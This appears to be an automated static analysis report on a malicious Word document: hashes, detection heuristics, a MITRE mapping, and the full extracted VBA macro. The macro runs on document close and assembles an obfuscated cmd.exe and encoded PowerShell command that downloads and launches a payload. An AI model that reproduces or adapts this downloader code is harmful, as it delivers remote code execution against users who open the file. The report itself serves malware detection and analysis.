Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 06feb58094fcc1d9…

MALICIOUS

Office (OLE)

91.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 445d2d4055f2a088314f610cc56b2a3d SHA-1: 88903667fe9a209f2b9b387954e4ca9d7cc923a7 SHA-256: 06feb58094fcc1d9a78054f47d1382e42a43f3871c638349ef96b6a328cb4cbc
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros that utilize the AutoClose event, a common technique for executing malicious code upon document closure. The script constructs and executes a command line that appears to invoke PowerShell with encoded arguments, suggesting it's designed to download and execute a second-stage payload. The presence of `cmd.exe` invocation and `Shell()` calls strongly indicates an attempt to run arbitrary commands.

Heuristics 9

  • ClamAV: Doc.Malware.00536d-6723914-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6723914-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Call IsError(VBA.Interaction.Shell(Trim(Join(Array(KOwOZYNyRiRIMeHUPimOJUwaXaZahyhYMxahaZew, pEUdEmaSEzeZUNiKUkeZuNijujIvYLaTYWyDAMUXy, pOzeBawadEQwawaKOHcuiYWAJEXaRoveFYmOGaiaQ, QeqyzOzyVPevYzovOGyLyDikaFunYmotomaajoSYra), "")), (25 - (100 / (2 * 2)))))
Dim CUQUxAxUmURuWtyMoLiPENaBubOdyiIX
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    On Error Resume Next
KOwOZYNyRiRIMeHUPimOJUwaXaZahyhYMxahaZew = "cmd.exe /c P^" + Format(ChrW((35 * 2) + (10 - 1))) + "^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Const bmaaoSYkUPoROdiFIQAsyZiPUWyLAiaW = 0
Sub AutoClose()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11004 bytes
SHA-256: 19c75b64d713946570ec55a83ed41963441c5d1c968ef2580a3ebcbf2e02883b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const bmaaoSYkUPoROdiFIQAsyZiPUWyLAiaW = 0
Sub AutoClose()
On Error Resume Next
KOwOZYNyRiRIMeHUPimOJUwaXaZahyhYMxahaZew = "cmd.exe /c P^" + Format(ChrW((35 * 2) + (10 - 1))) + "^W^e^r^s^" + Format(ChrW(2 + (35 * 2))) + "^e^l^L^.^E^X^e^ ^-^E^C^ ^K^A^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^Q^A^c^A^A^6^A^C^8^A^L^w^B^0^A^G^E^A^c^A^B^y^A^G^U^A^d^A^B^y^A^G^k^A^Y^Q^B^0^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^S^A^F^U^A^S^Q^A^v^A^G^w^A^Z^Q^B^2^A^G^8^A^b^g^B^k^A^C^4^A^c^A^B^o^A^" + Format(ChrW(2 + (35 * 2))) + "^A"

Dim MACWAfOAXeVEcisEdUrPYToaYSusyN

MACWAfOAXeVEcisEdUrPYToaYSusyN = IsError(Choose(10, "iUbIXjOWaMEJ", "iUbIXjOWaMEJ", "MACWAfOAXeVEcisEdUrPYToaYSusyN"))
IsError CVErr(8228)

If IsNull(MACWAfOAXeVEcisEdUrPYToaYSusyN_iUbIXjOWaMEJ) And IsError(CVErr(10)) Then
   iUbIXjOWaMEJ_MACWAfOAXeVEcisEdUrPYToaYSusyN = CStr("-8228") + UCase("iUbIXjOWaMEJ")
End If


pEUdEmaSEzeZUNiKUkeZuNijujIvYLaTYWyDAMUXy = "^A^P^w^B^s^A^D^0^A^Z^w^B^v^A^G^s^A^c^w^A^1^A^C^4^A^e^A^B^h^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^I^g^A^s^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^c^A^D^U^A^Z^g^B^j^A^G^Y^A^" + Format(ChrW((35 * 2) + (10 - 1))) + "^Q^A^5^A^G^Q^A^N^A^A^u^A^G^U^A^e^A^B^l^A^C^c^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^c^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^c^w^A^g^A^C^Q^A^Z^Q^B^u^A^" + Format(ChrW(2 + (35 * 2))) + "^Y^A^" + Format(ChrW((35 * 2) + (10 - 1))) + "^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^c^A^X^A^A^1^A^G^Y^A^Y^w^B^m^A^D^k^A^" + Format(ChrW((35 * 2) + (10 - 1))) + "^Q^B^k^A^D^Q^A^L^g^B^l^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^Z^Q^A^n^A^D^s^A^I^A^A^g^A^E"
Dim VybuDuvELuWOJabioMYMuNebukYToWoKovAhYKIMI

VybuDuvELuWOJabioMYMuNebukYToWoKovAhYKIMI = IsError(Choose(6, "pIsPIunNZaNAsA", "pIsPIunNZaNAsA", "VybuDuvELuWOJabioMYMuNebukYToWoKovAhYKIMI"))
IsError CVErr(2913)

If IsNull(VybuDuvELuWOJabioMYMuNebukYToWoKovAhYKIMI_pIsPIunNZaNAsA) And IsError(CVErr(6)) Then
   pIsPIunNZaNAsA_VybuDuvELuWOJabioMYMuNebukYToWoKovAhYKIMI = CStr("-2913") + UCase("pIsPIunNZaNAsA")
End If



Dim COLijuWEHYPuIhYnYVAluWEmajy

COLijuWEHYPuIhYnYVAluWEmajy = IsError(Choose(6, "gisoKlEHUmIsECapIT", "gisoKlEHUmIsECapIT", "COLijuWEHYPuIhYnYVAluWEmajy"))
IsError CVErr(7340)

If IsNull(COLijuWEHYPuIhYnYVAluWEmajy_gisoKlEHUmIsECapIT) And IsError(CVErr(6)) Then
   gisoKlEHUmIsECapIT_COLijuWEHYPuIhYnYVAluWEmajy = CStr("-7340") + UCase("gisoKlEHUmIsECapIT")
End If



Dim xIiYfUJoBAZyMEkNigYaYWEcICAGyMAiSA

xIiYfUJoBAZyMEkNigYaYWEcICAGyMAiSA = IsError(Choose(10, "cUdUfuCikimObaA", "cUdUfuCikimObaA", "xIiYfUJoBAZyMEkNigYaYWEcICAGyMAiSA"))
IsError CVErr(5807)

If IsNull(xIiYfUJoBAZyMEkNigYaYWEcICAGyMAiSA_cUdUfuCikimObaA) And IsError(CVErr(10)) Then
   cUdUfuCikimObaA_xIiYfUJoBAZyMEkNigYaYWEcICAGyMAiSA = CStr("-5807") + UCase("cUdUfuCikimObaA")
End If


pOzeBawadEQwawaKOHcuiYWAJEXaRoveFYmOGaiaQ = "^k^A^R^Q^B^Y^A^C^g^A^K^A^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^" + Format(ChrW(2 + (35 * 2))) + "^M^A^d^A^B^l^A^G^0^A^L^g^B^" + Format(ChrW((35 * 2) + (10 - 1))) + "^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^U^w^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^I^A^a^Q^B^u^A^G^c^A^K^A^A^i^A^G^g^A^d^A^B^0^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^" + Format(ChrW((35 * 2) + (10 - 1))) + "^g^A^v^A^C^8^A^N^Q^A^0^A^C^4^A^M^w^A^5^A^C^4^A^N^w^A^0^A^C^4^A^M^Q^A^y^A^D^Q^A^L^w^B^s^A^G^U^A^d^g^B^v^A^G^4^A^Z^A^A^u^A^" + Format(ChrW(2 + (35 * 2))) + "^A^A^a^A^B^w^A^C^I^A^K^Q^A^p^A^D^s^A^I^A^B^F^A^" + Format(ChrW(2 + (35 * 2))) + "^g^A^a^Q^B^0^A"
Dim deluCyhENaKilepogejAnojrIviaVideTwYTUSAXzU

deluCyhENaKilepogejAnojrIviaVideTwYTUSAXzU = IsError(Choose(8, "xurAvyxayVevat", "xurAvyxayVevat", "deluCyhENaKilepogejAnojrIviaVideTwYTUSAXzU"))
IsError CVErr(8534)

If IsNull(deluCyhENaKilepogejAnojrIviaVideTwYTUSAXzU_xurAvyxayVevat) And IsError(CVErr(8)) Then
   xurAvyxayVevat_deluCyhENaKilepogejAnojrIviaVideTwYTUSAXzU = CStr("-8534") + UCase("xurAvyxayVevat")
End If


Dim tYhYxiZUxunecijOQAgIiIWyZEHYrovisiLylVY

tYhYxiZUxunecijOQAgIiIWyZEHYrovisiLylVY = IsError(Choose(8, "hEhIPIgAiSJ", "hEhIPIgAiSJ", "tYhYxiZUxunecijOQAgIiIWyZEHYrovisiLylVY"))
IsError CVErr(9152)

If IsNull(tYhYxiZUxunecijOQAgIiIWyZEHYrovisiLylVY_hEhIPIgAiSJ) And IsError(CVErr(8)) Then
   hEhIPIgAiSJ_tYhYxiZUxunecijOQAgIiIWyZEHYrovisiLylVY = CStr("-9152") + UCase("hEhIPIgAiSJ")
End If



Dim nAkOdeFyZilunesawoaHPukuxAiEFu

nAkOdeFyZilunesawoaHPukuxAiEFu = IsError(Choose(4, "dofYXOcaDURYiaZE", "dofYXOcaDURYiaZE", "nAkOdeFyZilunesawoaHPukuxAiEFu"))
IsError CVErr(5459)

If IsNull(nAkOdeFyZilunesawoaHPukuxAiEFu_dofYXOcaDURYiaZE) And IsError(CVErr(4)) Then
   dofYXOcaDURYiaZE_nAkOdeFyZilunesawoaHPukuxAiEFu = CStr("-5459") + UCase("dofYXOcaDURYiaZE")
End If



QeqyzOzyVPevYzovOGyLyDikaFunYmotomaajoSYra = "^A^=^="
Dim vECYfUdebawYKyZyTUpUPiZuXYcYMA

vECYfUdebawYKyZyTUpUPiZuXYcYMA = IsError(Choose(7, "XeSAcezYLYWyxARaEFoQ", "XeSAcezYLYWyxARaEFoQ", "vECYfUdebawYKyZyTUpUPiZuXYcYMA"))
IsError CVErr(6005)

If IsNull(vECYfUdebawYKyZyTUpUPiZuXYcYMA_XeSAcezYLYWyxARaEFoQ) And IsError(CVErr(7)) Then
   XeSAcezYLYWyxARaEFoQ_vECYfUdebawYKyZyTUpUPiZuXYcYMA = CStr("-6005") + UCase("XeSAcezYLYWyxARaEFoQ")
End If


Dim kISUTEBiDyVEroHZexUjAsABAtUdATA

kISUTEBiDyVEroHZexUjAsABAtUdATA = IsError(Choose(6, "LAbofanUJISEGOsy", "LAbofanUJISEGOsy", "kISUTEBiDyVEroHZexUjAsABAtUdATA"))
IsError CVErr(3988)

If IsNull(kISUTEBiDyVEroHZexUjAsABAtUdATA_LAbofanUJISEGOsy) And IsError(CVErr(6)) Then
   LAbofanUJISEGOsy_kISUTEBiDyVEroHZexUjAsABAtUdATA = CStr("-3988") + UCase("LAbofanUJISEGOsy")
End If




Dim lehOTUFoQEsyriWYBUmUmATUsySocejNenEVOMUKO

lehOTUFoQEsyriWYBUmUmATUsySocejNenEVOMUKO = IsError(Choose(10, "ZOMftiROKZabUHYf", "ZOMftiROKZabUHYf", "lehOTUFoQEsyriWYBUmUmATUsySocejNenEVOMUKO"))
IsError CVErr(2467)

If IsNull(lehOTUFoQEsyriWYBUmUmATUsySocejNenEVOMUKO_ZOMftiROKZabUHYf) And IsError(CVErr(10)) Then
   ZOMftiROKZabUHYf_lehOTUFoQEsyriWYBUmUmATUsySocejNenEVOMUKO = CStr("-2467") + UCase("ZOMftiROKZabUHYf")
End If


Dim sMipaCOnuiEdESehuBiNehlAydyhaJEwuG

sMipaCOnuiEdESehuBiNehlAydyhaJEwuG = IsError(Choose(9, "RixaEjHUXakaseQiayhEt", "RixaEjHUXakaseQiayhEt", "sMipaCOnuiEdESehuBiNehlAydyhaJEwuG"))
IsError CVErr(9289)

If IsNull(sMipaCOnuiEdESehuBiNehlAydyhaJEwuG_RixaEjHUXakaseQiayhEt) And IsError(CVErr(9)) Then
   RixaEjHUXakaseQiayhEt_sMipaCOnuiEdESehuBiNehlAydyhaJEwuG = CStr("-9289") + UCase("RixaEjHUXakaseQiayhEt")
End If


Call pYaAgyFEWiJUrOQYPOpAmaGiZAlYmUZawAX(KOwOZYNyRiRIMeHUPimOJUwaXaZahyhYMxahaZew & "", pEUdEmaSEzeZUNiKUkeZuNijujIvYLaTYWyDAMUXy + CStr(""), pOzeBawadEQwawaKOHcuiYWAJEXaRoveFYmOGaiaQ, "4756874682", QeqyzOzyVPevYzovOGyLyDikaFunYmotomaajoSYra)
Dim tUzAxIIvahihmAKYSaDOFizimoDuvagY

tUzAxIIvahihmAKYSaDOFizimoDuvagY = IsError(Choose(3, "TeJAFOSykyiupAWiqIToLow", "TeJAFOSykyiupAWiqIToLow", "tUzAxIIvahihmAKYSaDOFizimoDuvagY"))
IsError CVErr(252)

If IsNull(tUzAxIIvahihmAKYSaDOFizimoDuvagY_TeJAFOSykyiupAWiqIToLow) And IsError(CVErr(3)) Then
   TeJAFOSykyiupAWiqIToLow_tUzAxIIvahihmAKYSaDOFizimoDuvagY = CStr("-252") + UCase("TeJAFOSykyiupAWiqIToLow")
End If


Dim GIBeqiwEaehadIKCeVomEWUNumOmIN

GIBeqiwEaehadIKCeVomEWUNumOmIN = IsError(Choose(1, "qaZiZiGoDyjoLuaa", "qaZiZiGoDyjoLuaa", "GIBeqiwEaehadIKCeVomEWUNumOmIN"))
IsError CVErr(923)

If IsNull(GIBeqiwEaehadIKCeVomEWUNumOmIN_qaZiZiGoDyjoLuaa) And IsError(CVErr(1)) Then
   qaZiZiGoDyjoLuaa_GIBeqiwEaehadIKCeVomEWUNumOmIN = CStr("-923") + UCase("qaZiZiGoDyjoLuaa")
End If



Dim panOHYRIQupXAJyjEFabuFeJotECehYzo

panOHYRIQupXAJyjEFabuFeJotECehYzo = IsError(Choose(2, "DucaNIRapAvokayaaGOpex", "DucaNIRapAvokayaaGOpex", "panOHYRIQupXAJyjEFabuFeJotECehYzo"))
IsError CVErr(1537)

If IsNull(panOHYRIQupXAJyjEFabuFeJotECehYzo_DucaNIRapAvokayaaGOpex) And IsError(CVErr(2)) Then
   DucaNIRapAvokayaaGOpex_panOHYRIQupXAJyjEFabuFeJotECehYzo = CStr("-1537") + UCase("DucaNIRapAvokayaaGOpex")
End If


End Sub
Sub pYaAgyFEWiJUrOQYPOpAmaGiZAlYmUZawAX(KOwOZYNyRiRIMeHUPimOJUwaXaZahyhYMxahaZew, pEUdEmaSEzeZUNiKUkeZuNijujIvYLaTYWyDAMUXy, pOzeBawadEQwawaKOHcuiYWAJEXaRoveFYmOGaiaQ, XUMjIzExYBYkADojoDUnyLiQMIpalotYfuROG, QeqyzOzyVPevYzovOGyLyDikaFunYmotomaajoSYra)
On Error Resume Next
Dim tnwYGuWULUAVeDiImattoLeCOsituvEtefoTEaAxysO

tnwYGuWULUAVeDiImattoLeCOsituvEtefoTEaAxysO = IsError(Choose(4, "dyLEzavaTUJuFEGOP", "dyLEzavaTUJuFEGOP", "tnwYGuWULUAVeDiImattoLeCOsituvEtefoTEaAxysO"))
IsError CVErr(735)

If IsNull(tnwYGuWULUAVeDiImattoLeCOsituvEtefoTEaAxysO_dyLEzavaTUJuFEGOP) And IsError(CVErr(4)) Then
   dyLEzavaTUJuFEGOP_tnwYGuWULUAVeDiImattoLeCOsituvEtefoTEaAxysO = CStr("-735") + UCase("dyLEzavaTUJuFEGOP")
End If


Dim xypufUCiVypSilYRIxaHeK

xypufUCiVypSilYRIxaHeK = IsError(Choose(6, "hAlyBOpoiETOFiXOlAtOj", "hAlyBOpoiETOFiXOlAtOj", "xypufUCiVypSilYRIxaHeK"))
IsError CVErr(5138)

If IsNull(xypufUCiVypSilYRIxaHeK_hAlyBOpoiETOFiXOlAtOj) And IsError(CVErr(6)) Then
   hAlyBOpoiETOFiXOlAtOj_xypufUCiVypSilYRIxaHeK = CStr("-5138") + UCase("hAlyBOpoiETOFiXOlAtOj")
End If



  
  Call IsError(VBA.Interaction.Shell(Trim(Join(Array(KOwOZYNyRiRIMeHUPimOJUwaXaZahyhYMxahaZew, pEUdEmaSEzeZUNiKUkeZuNijujIvYLaTYWyDAMUXy, pOzeBawadEQwawaKOHcuiYWAJEXaRoveFYmOGaiaQ, QeqyzOzyVPevYzovOGyLyDikaFunYmotomaajoSYra), "")), (25 - (100 / (2 * 2)))))
Dim CUQUxAxUmURuWtyMoLiPENaBubOdyiIX

CUQUxAxUmURuWtyMoLiPENaBubOdyiIX = IsError(Choose(1, "siGExuSOToiUTUlurUxid", "siGExuSOToiUTUlurUxid", "CUQUxAxUmURuWtyMoLiPENaBubOdyiIX"))
IsError CVErr(7273)

If IsNull(CUQUxAxUmURuWtyMoLiPENaBubOdyiIX_siGExuSOToiUTUlurUxid) And IsError(CVErr(1)) Then
   siGExuSOToiUTUlurUxid_CUQUxAxUmURuWtyMoLiPENaBubOdyiIX = CStr("-7273") + UCase("siGExuSOToiUTUlurUxid")
End If


Dim LaSEQnizaWTIcoHONAfuBABAzEgEqIKucA

LaSEQnizaWTIcoHONAfuBABAzEgEqIKucA = IsError(Choose(1, "lIWYJUwNuzYRaLaokODa", "lIWYJUwNuzYRaLaokODa", "LaSEQnizaWTIcoHONAfuBABAzEgEqIKucA"))
IsError CVErr(1205)

If IsNull(LaSEQnizaWTIcoHONAfuBABAzEgEqIKucA_lIWYJUwNuzYRaLaokODa) And IsError(CVErr(1)) Then
   lIWYJUwNuzYRaLaokODa_LaSEQnizaWTIcoHONAfuBABAzEgEqIKucA = CStr("-1205") + UCase("lIWYJUwNuzYRaLaokODa")
End If





End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.